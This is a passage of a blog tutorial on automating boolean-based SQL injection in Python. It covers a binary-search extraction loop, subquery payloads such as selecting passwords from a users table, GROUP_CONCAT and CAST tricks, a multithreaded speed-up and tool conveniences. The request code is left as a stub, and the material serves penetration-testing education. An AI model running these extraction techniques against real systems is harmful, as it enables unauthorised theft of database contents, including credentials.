&lt;span class=&quot;token output&quot;&gt;124 - 128       Guess:  126&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;124 - 126       Guess:  125&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;result: 125&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;In the code snippets above, &lt;code&gt;val&lt;/code&gt; is known for demo purposes. But in reality, &lt;code&gt;val&lt;/code&gt; is unknown; it’s the data we’re trying to exfiltrate. To be more realistic, let&#39;s replace the &lt;code&gt;val&lt;/code&gt; comparisons with a function &lt;code&gt;check_sql_value()&lt;/code&gt; which sends network requests.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;binary_search&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;sql_query&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; idx&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; low&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; high&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token triple-quoted-string string&quot;&gt;&quot;&quot;&quot;Find the value of sql_query using binary search, between
    low (inclusive) and high (exclusive). Assuming the guessed value
    is within range.&quot;&quot;&quot;&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;while&lt;/span&gt; low &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; high&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        mid &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;low &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; high&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;//&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; low &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; mid&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; mid &lt;span class=&quot;token comment&quot;&gt;# Found val.&lt;/span&gt;
        
        &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; check_sql_value&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;sql_query&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; idx&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; mid&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
            high &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; mid
        &lt;span class=&quot;token keyword&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
            low &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; mid

&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;check_sql_value&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;sql_query&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; idx&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; guess&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;bool&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;# Make web request to check ASCII(SUBSTRING(sql_query, idx, 1)) &amp;lt; guess.&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;# And then check if the response is a TRUE or FALSE response.&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; idx &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;256&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    val &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; binary_search&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;@@version&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; idx&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;128&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;# Handle `val`...&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;The idea here is we can pass an SQL query, such as &lt;code&gt;@@version&lt;/code&gt; or &lt;code&gt;sqlite_version()&lt;/code&gt;, followed by the index and expected ranged.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;binary_search&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;@@version&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; idx&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; low&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; high&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;We can make the code more generic or flexible, but the underlying idea is there.&lt;/p&gt;
&lt;h2 id=&quot;more-sql-tricks&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/automating-boolean-sql-injection-with-python/#more-sql-tricks&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; More SQL Tricks&lt;/h2&gt;
&lt;p&gt;Not all types of data are easy to exfiltrate. Here are some tricks I&#39;ve picked up (some of which could be scripted):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Use subqueries to select data from arbitrary tables.
&lt;ul&gt;
&lt;li&gt;e.g. &lt;code&gt;ASCII(SUBSTRING((SELECT password FROM users LIMIT 1 OFFSET 5), 1, 1))&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Use &lt;code&gt;GROUP_CONCAT&lt;/code&gt; to combine multiple rows into one row. This function is available in MySQL and SQLite.
&lt;ul&gt;
&lt;li&gt;Subqueries only work when 1 row and 1 column is selected.&lt;/li&gt;
&lt;li&gt;Occasionally, there is a &lt;em&gt;lot&lt;/em&gt; of data across multiple rows.
&lt;ul&gt;
&lt;li&gt;We can use &lt;code&gt;LIMIT&lt;/code&gt; (or &lt;code&gt;TOP&lt;/code&gt; for SQL Server) to restrict the data to one row.&lt;/li&gt;
&lt;li&gt;Or we could &lt;code&gt;GROUP_CONCAT&lt;/code&gt; to capture more data in a single subquery. Then there would be one less number to change.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Cast SQL output to &lt;code&gt;char&lt;/code&gt;/&lt;code&gt;varchar&lt;/code&gt; to capture numbers, dates, and other types.
&lt;ul&gt;
&lt;li&gt;e.g. &lt;code&gt;CAST(id AS VARCHAR(32))&lt;/code&gt; in MySQL&lt;/li&gt;
&lt;li&gt;Cast with &lt;code&gt;NULL&lt;/code&gt;, may not work. Additional &lt;code&gt;NULL&lt;/code&gt;-checks may be needed.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;adding-multithreading&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/automating-boolean-sql-injection-with-python/#adding-multithreading&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Adding Multithreading&lt;/h2&gt;
&lt;p&gt;Now that we&#39;ve optimised the reading of a single character, can we also speed up the reading of an entire string?&lt;/p&gt;
&lt;p&gt;Yes! Thanks to concurrency! For this, we&#39;ll reach for Python&#39;s built-in &lt;code&gt;concurrent.futures&lt;/code&gt; library, which provides several high-level threading tools. The choice boils down to using threads (via &lt;code&gt;ThreadPoolExecutor&lt;/code&gt;) or processes (&lt;code&gt;ProcessPoolExecutor&lt;/code&gt;), and considering how data/processing is distributed.&lt;/p&gt;
&lt;h3 id=&quot;threads-vs-processes&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/automating-boolean-sql-injection-with-python/#threads-vs-processes&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Threads vs. Processes&lt;/h3&gt;
&lt;p&gt;Time for a quick comparison.&lt;/p&gt;
&lt;p&gt;Threads:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;lightweight and quick to create&lt;/li&gt;
&lt;li&gt;shares memory with main process&lt;/li&gt;
&lt;li&gt;one &lt;abbr data-bs-placement=&quot;top&quot; data-bs-toggle=&quot;tooltip&quot; title=&quot;Global Interpreter Lock, a feature of the Python interpreter which only allows one thread to run at a given time&quot;&gt;GIL&lt;/abbr&gt; to rule them all&lt;/li&gt;
&lt;li&gt;recommended for IO-bound tasks (network, requests)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Processes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;slower to create&lt;/li&gt;
&lt;li&gt;doesn&#39;t share memory&lt;/li&gt;
&lt;li&gt;each process has their own GIL&lt;/li&gt;
&lt;li&gt;recommended for CPU-bound tasks (intense computations, calculations)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Note: GIL behaviour may change in Python 3.13+, so expect some updates in the (concurrent.)future.&lt;/p&gt;
&lt;p&gt;Reference: &lt;a href=&quot;https://stackoverflow.com/questions/3044580/multiprocessing-vs-threading-python&quot;&gt;StackOverflow – Multiprocessing vs. Threading in Python&lt;/a&gt;&lt;/p&gt;
&lt;h3 id=&quot;using-threadpoolexecutor&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/automating-boolean-sql-injection-with-python/#using-threadpoolexecutor&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Using ThreadPoolExecutor&lt;/h3&gt;
&lt;p&gt;In the end, I used &lt;code&gt;ThreadPoolExecutor&lt;/code&gt;, since our code was constrained by network requests. The shared memory also means we don&#39;t need to worry about parameters and duplication as much. Even though the GIL prevents us from (strictly) executing in parallel, we do observe some speedup.&lt;/p&gt;
&lt;p&gt;In the code snippet below, we create a task for each character of the string. (Assume the length of the string is known.) When a thread finishes searching for a character, the thread is recycled and picks up the next task, then the next, and so on until all tasks are done.&lt;/p&gt;
&lt;p&gt;We can process finished tasks as they roll in using &lt;code&gt;concurrent.futures.as_completed&lt;/code&gt;.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;with&lt;/span&gt; concurrent&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;futures&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;ThreadPoolExecutor&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;max_workers&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;as&lt;/span&gt; executor&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    future_map &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;token comment&quot;&gt;# Create a task for each character.&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; idx &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;length&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        future &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; executor&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;submit&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;get_by_bsearch&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string-interpolation&quot;&gt;&lt;span class=&quot;token string&quot;&gt;f&quot;ASCII(SUBSTRING((&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;sql&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;),&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;idx&lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;,1))&quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;128&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
        future_map&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;future&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; idx

    &lt;span class=&quot;token comment&quot;&gt;# Handle finished tasks concurrently.&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; future &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; concurrent&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;futures&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;as_completed&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;future_map&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        idx &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; future_map&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;future&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
        ch &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; future&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;result&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;token comment&quot;&gt;# We found the character at a particular index!&lt;/span&gt;
        &lt;span class=&quot;token comment&quot;&gt;# Store it somewhere...&lt;/span&gt;
        somewhere&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;idx&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; ch&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;The length of the string can be determined beforehand with another binary search. Assuming the max length is 2048...&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;length &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; get_by_bsearch&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string-interpolation&quot;&gt;&lt;span class=&quot;token string&quot;&gt;f&quot;LENGTH((&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;sql&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;))&quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2048&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h2 id=&quot;adding-comfort-features&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/automating-boolean-sql-injection-with-python/#adding-comfort-features&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Adding Comfort Features&lt;/h2&gt;
&lt;p&gt;Aside from a tool’s utility, we should also consider &lt;em&gt;user experience&lt;/em&gt;. We want to design the tool to be convenient for ourselves, and potentially other users. For instance, we shouldn’t have to modify code to change general settings (e.g. the target URL). And it&#39;d be nice to have visual feedback; waiting can be boring.&lt;/p&gt;
&lt;p&gt;Here are some things we&#39;ll add to our automation:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Command Line Arguments&lt;/li&gt;
&lt;li&gt;Progress Bar&lt;/li&gt;
&lt;li&gt;Interactive Interface&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;At this point, it’s mostly about choosing mature libraries, looking at documentation, and playing around with code. I’ll list some libraries I found useful/interesting.&lt;/p&gt;
&lt;h3 id=&quot;command-line-arguments&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/automating-boolean-sql-injection-with-python/#command-line-arguments&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Command Line Arguments&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.python.org/3/library/argparse.html&quot;&gt;&lt;code&gt;argparse&lt;/code&gt;&lt;/a&gt;, built-in, robust, used almost everywhere&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/google/python-fire&quot;&gt;&lt;code&gt;python-fire&lt;/code&gt;&lt;/a&gt;, convenient wrapper which generates command-line arguments from function annotations. (Looks interesting but I haven’t used.)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;progress-bar&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/automating-boolean-sql-injection-with-python/#progress-bar&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Progress Bar&lt;/h3&gt;
&lt;p&gt;Common options are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/Textualize/rich&quot;&gt;&lt;code&gt;rich&lt;/code&gt;&lt;/a&gt;, colourful, great look-and-feel&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/tqdm/tqdm&quot;&gt;&lt;code&gt;tqdm&lt;/code&gt;&lt;/a&gt;, traditional rectangular progress bar&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Example of a `rich` progress bar in action.&quot; href=&quot;https://trebledj.me/img/posts/infosec/automating-boolean-sqli/assets/progress-bar-1743w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-100 &quot; src=&quot;https://trebledj.me/img/posts/infosec/automating-boolean-sqli/assets/progress-bar-1743w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 1743 / 198&quot; alt=&quot;Example of a `rich` progress bar in action.&quot; title=&quot;Example of a `rich` progress bar in action.&quot; srcset=&quot;https://trebledj.me/img/posts/infosec/automating-boolean-sqli/assets/progress-bar-256w.webp 256w, https://trebledj.me/img/posts/infosec/automating-boolean-sqli/assets/progress-bar-512w.webp 512w, https://trebledj.me/img/posts/infosec/automating-boolean-sqli/assets/progress-bar-1024w.webp 1024w, https://trebledj.me/img/posts/infosec/automating-boolean-sqli/assets/progress-bar-1743w.webp 1743w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 1743px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Some challenges arise when mixing progress bars with multithreading. In general...&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Dropping to a lower-level API helps alleviate issues. For example, &lt;code&gt;rich&lt;/code&gt; allows you to control how tasks are added, updated, and removed.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;KeyboardInterrupt&lt;/code&gt; and Exceptions should be carefully handled. You &lt;em&gt;do&lt;/em&gt; want &lt;code&gt;^C&lt;/code&gt; to work right?
&lt;ul&gt;
&lt;li&gt;&amp;quot;Boss, we accidentally swamped the hospital&#39;s database with our script. Their server was weak.&amp;quot;&lt;/li&gt;
&lt;li&gt;&amp;quot;Stop it! Millions of lives are at stake!&amp;quot;&lt;/li&gt;
&lt;li&gt;&amp;quot;We can&#39;t... Control-C doesn&#39;t work!&amp;quot;&lt;/li&gt;
&lt;li&gt;&amp;quot;You leave me no choice.&amp;quot; &lt;em&gt;(pours water over computer)&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;interactive-interface&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/automating-boolean-sql-injection-with-python/#interactive-interface&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Interactive Interface&lt;/h3&gt;
&lt;p&gt;Instead of modifying the shell command on each SQL change, it would be nice to have an interactive, shell-like program for running SQL statements. Throwing &lt;code&gt;input()&lt;/code&gt; in a while-loop could work, but doesn&#39;t have the usual shortcuts (e.g. up for previous command&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/automating-boolean-sql-injection-with-python/#fn4&quot; id=&quot;fnref4&quot;&gt;4&lt;/a&gt;&lt;/sup&gt;). To have a nicer, cross-platform terminal interface, we can use:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/prompt-toolkit/python-prompt-toolkit&quot;&gt;&lt;code&gt;prompt_toolkit&lt;/code&gt;&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;Has the usual terminal shortcuts: up, down, reverse search &lt;code&gt;^r&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Command history can be stored in a file so that it persists across runs.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The implementation is as simple as replacing &lt;code&gt;input()&lt;/code&gt; with &lt;code&gt;prompt.prompt()&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Before:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;sql &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;sqli&amp;gt; &quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;After:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;prompt &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; PromptSession&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;history&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;FileHistory&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;.history&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
